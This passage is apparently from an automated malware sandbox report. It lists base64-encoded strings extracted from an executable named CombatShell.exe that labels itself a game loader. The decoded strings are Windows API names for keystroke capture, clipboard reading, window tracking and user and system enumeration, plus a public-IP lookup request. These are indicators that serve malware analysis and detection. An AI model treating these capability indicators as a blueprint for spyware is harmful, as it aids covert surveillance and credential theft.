Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RnJlZUxpYnJhcnlXaGVuQ2FsbGJhY2tSZXR1cm5z","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ZyEhIWchISEhISEhISEhISEhISEhISFnZ2chISEhISEhISEhISEhISEhISEhISEhISFnISEhISEhISEhZyFnZyEhISEhISFnZ2chZ2dnZyEhISEhIWchZyEhISEhISEhZ2dnZ2dnISEhISEhISEhIWdnISEhZ2dnZ2dnZ2dnZ2cmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmZ2dnZw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Zz4+Pj4+Pj4+Pj4+Pj4+Pj5nPj5xcXFxcXFxcXFxcXFxcXFxPz8/Pz8/Pz8/Pz8/Pz8/P2dnZ2dnZ2dnPz8/P1JSUlJSUlJSUlJSUlJSUlJnZ2dSUlJSUm1tbW1tbW1tbW1tbW1tbW0=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2FtZSBEZXZlbG9wbWVudA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2FtZSBEZXZlbG9wbWVudCAyMDI1LiBBbGwgcmlnaHRzIHJlc2VydmVkLg==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2FtZSBMb2FkZXIgOXNqZg==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z0JCQkJCQkJCQkJCQkJCQkJnZ2dnZ2dnZ2dCQkJCQkJCQkJCZ2dCQkJC","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2RpMzIuZGxs","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R0VUIC8gSFRUUC8xLjFhY2NlcHQ6ICovKmhvc3Q6IGFwaS5pcGlmeS5vcmc=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"R2V0QWN0aXZlV2luZG93","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0YWRkcmluZm8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0QXN5bmNLZXlTdGF0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q2xhc3NJbmZvRXhX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q2xhc3NOYW1lVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q2xpZW50UmVjdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q2xpcGJvYXJkRGF0YQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q2xpcGJvYXJkRm9ybWF0TmFtZVc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q2xpcEN1cnNvcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q29tbWFuZExpbmVX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q29tcHV0ZXJOYW1lRXhX","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q29uc29sZU1vZGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q29uc29sZU91dHB1dENQ","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q29uc29sZVNjcmVlbkJ1ZmZlckluZm8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q3VycmVudERpcmVjdG9yeVc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q3VycmVudFBhY2thZ2VJZA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q3VycmVudFByb2Nlc3M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q3VycmVudFByb2Nlc3NJZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q3VycmVudFByb2Nlc3Nvck51bWJlcg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q3VycmVudFRocmVhZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q3VycmVudFRocmVhZElk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q3Vyc29yUG9z","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0REM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RGV2aWNlQ2Fwcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RElCaXRz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RGlza0ZyZWVTcGFjZUE=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0RGlza0ZyZWVTcGFjZVc=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0RHBpRm9yTW9uaXRvcg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0RHBpRm9yV2luZG93","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0RW52aXJvbm1lbnRTdHJpbmdzVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RW52aXJvbm1lbnRWYXJpYWJsZVc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RXJyb3JJbmZv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RXhpdENvZGVQcm9jZXNz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RmlsZUF0dHJpYnV0ZXNB","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0RmlsZUF0dHJpYnV0ZXNFeFc=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0RmlsZUF0dHJpYnV0ZXNX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RmlsZUluZm9ybWF0aW9uQnlIYW5kbGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RmlsZUluZm9ybWF0aW9uQnlIYW5kbGVFeA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RmlsZVNpemU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0RmlsZVR5cGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RmluYWxQYXRoTmFtZUJ5SGFuZGxlVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Rm9yZWdyb3VuZFdpbmRvdw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RnVsbFBhdGhOYW1lQQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0RnVsbFBhdGhOYW1lVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0S2V5Ym9hcmRMYXlvdXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0S2V5Ym9hcmRTdGF0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0S2V5U3RhdGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TGFzdEVycm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TG9jYWxlSW5mb0V4","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0TWVudQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TWVzc2FnZVc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TW9kdWxlRmlsZU5hbWVX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TW9kdWxlSGFuZGxlQQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TW9kdWxlSGFuZGxlRXhX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TW9kdWxlSGFuZGxlVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TW9uaXRvckluZm9X","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TmFtZWRQaXBlSW5mbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TmF0aXZlU3lzdGVtSW5mbw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0T2JqZWN0Vw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0T3ZlcmxhcHBlZFJlc3VsdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0cGVlcm5hbWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0UHJvY0FkZHJlc3M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0UHJvY2Vzc0hlYXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0UHJvY2Vzc0lk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0UHJvcFc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0UXVldWVkQ29tcGxldGlvblN0YXR1c0V4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0UmF3SW5wdXREYXRh","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0UmF3SW5wdXREZXZpY2VJbmZvVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0c29ja25hbWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0c29ja29wdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0U3RkSGFuZGxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0U3lzdGVtRGlyZWN0b3J5Vw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0U3lzdGVtSW5mbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0U3lzdGVtTWVudQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0U3lzdGVtTWV0cmljcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0U3lzdGVtVGltZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0U3lzdGVtVGltZUFzRmlsZVRpbWU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0U3lzdGVtVGltZVByZWNpc2VBc0ZpbGVUaW1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0VGVtcFBhdGhB","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0VGVtcFBhdGhX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0VGlja0NvdW50","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0VGlja0NvdW50NjQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0VGltZVpvbmVJbmZvcm1hdGlvbg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0VG9rZW5JbmZvcm1hdGlvbg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0VG91Y2hJbnB1dEluZm8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0VXNlck5hbWVFeFc=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0VXNlck5hbWVX","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0VXNlclByZWZlcnJlZFVJTGFuZ3VhZ2Vz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0VXNlclByb2ZpbGVEaXJlY3RvcnlX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0V2luZG93TG9uZ1B0clc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0V2luZG93TG9uZ1c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0V2luZG93UGxhY2VtZW50","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0V2luZG93UmVjdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0V2luZG93c0RpcmVjdG9yeVc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0V2luZG93VGV4dExlbmd0aFc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0V2luZG93VGV4dFc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2coKCgoKCgoKCgoKCgoKCgo","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2cxMTExMTExMTExMTFnMTExMTExMTExMTExMTExMWcxMWcxMTExMTExMTExMTExMWdnZ2dn","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2cuLi4uLi4uLi4uLi4uLi4u","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2cvLy8vLy9nZy9nLy8vLy8vLy8vLy8vLy8vL2cvL2dnZy9nZy90dHR0dHR0dHR0dHR0dHR0Z3R0dHR0dHR0dA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2c4ODg4ODg4Zzg4ODg4ODg4OGdnODg4ODhnODhnODg4ODhnZ2dnZw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dcXFxcXFxcXFxcXFxcXFxcZ2dnZ1xcXFxcXFxcZ2dnZ2dnZ1w=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZygoKCgoKGdnZ2dnZ2dnZ2cwMDAwMDAwMDAwMDAwMDAwZ2dnZzBnZ2cwMDAwMDAwMDAwMDA0NDQ0NDQ0NDQ0NDQ0NDQ0Z2dnZ2dnZ2dnZ2c7Ozs7Ozs7Ozs7Ozs7Ozs7Z2dnZ2dnOzs7Ozs7Ozs7OztnZ2c7Ozc3Nzc3Nzc3Nzc3Nzc3NzdnZzc3ampqampqampqampqampqamdnampqampqampqamdnZ2dnZw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZyoqKioqKioqKioqKioqKipnZ2dnZ2dnZ2cqKysrKysrKysrKysrKysrKw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZ2cjI2cjIyMjIyNnZ2cjIyNnIyMjI2dnZyMjZyNnIyNnZ2cjI2dnZyMjI2dnZyMjIyMjIyMjIyMjI2dnZ2cjIyNnZ2cjIyNnIyMjI2dnI2dnZ2dnZyNnZ2dnZ2dnZ2dnZ2dnZw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZ2dn","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZ2dnLCwsLCwsLCwsLCwsLCwsLGdnZ2dnZ2dnZ2dnZy0tLS0tLS0tLS0tLS1nLS1nZ2dnZ2dnZ2dnZ2c=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZ2dnQUFBQUFBQUFBQUFBQUFBQWdnZ2dnZ2dnZ0F4eHh4eHh4eHh4eHh4eHh4Z2dnZ2dnZ2dnZ3hnZw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZ2dnZw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZ2dnZ2c=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZ2dnZ2dn","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZ2dnZ2dnZw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZ2dnZ2dnZw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZ2dnZ2dnZ2c=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZ2dnZ2dnZ2dn","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZ2dnZ2dnZ2dnIyMjIyMjIyMjIyMjIyMjIw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZ2dnZ2dnZ2dnZw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2cnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnZycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJ2dnZ2cnJycnJycnJycnJycnJycnJycnJycnJydnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnZycnJycnJyc=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZ2dnZ2dnZ0dHR0dHR0dHR0dHR0dHR0dnZ2dnZ2dnZ2dn","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZ2dnZ2dnU1NTU1NTU1NTU1NTU1NTU2dnZ2dnZ2dnZ2c=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZ2dnZ0tLS0tLS0tLS0tLS0tLS0tnZ2dnZ2dnZ2dnS0tLS0tLS0tLS2dLS0tLS0tLS0tLS0tLZ2dnZ2dLS0s=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZ3Z2dnZ2dnZ2dnZ2dnZ2dnZndnZ2dnZ2dnZ2dmdnZ2dnZ2dn","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnWlpaWlpaWlpaWlpaWlpaWmdnZ2dnZ2dnb29vb29vb29vb29vb29vb2dnZ2dnZ2dnb28=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dZWVlZWVlZWVlZWVlZWVlZZ2dnZ2c1NTU1NTU1NTU1NTU1NTU1ZzU9PT09PT09PT09PT09PT09Z2dnZz09PT09PT09Z2dnZ2dnZ2dnZzMzMzMzMzMzMzMzMzMzMzMyMjIyMjIyMjIyMjIyMjIyZ2dnZ2dn","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnTk5OTk5OTk5OTk5OTk5OTmc=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dra2tra2tra2tra2tra2trZ2dnaGhoaGhoaGhoaGhoaGhoaGdnZ2dnZ2dnZ2dnZ2dnZw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2lwQWN0aXZpdHlCeXBhc3M=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Z2xDb3B5QnVmZmVyU3ViRGF0YU5W","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Z2xHZXRuQ29tcHJlc3NlZFRleEltYWdl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Z2xHZXRuVGV4SW1hZ2U=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Z2xHZXRuVW5pZm9ybWR2","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2xvYmFsQWxsb2M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2xvYmFsRnJlZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2xvYmFsTG9jaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2xvYmFsU2l6ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2xvYmFsVW5sb2Nr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R0xTTFZlcnNpb24=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R3BTdmNEZWJ1Z0xldmVs","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SGFyZHdhcmVJRA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SGVhcEFsbG9j","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SGVhcENvbXBhY3Q=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SGVhcENyZWF0ZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SGVhcERlc3Ryb3k=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SGVhcEZyZWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SGVhcFJlQWxsb2M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SGVhcFZhbGlkYXRl","type":"Ansi","source":"Runtime 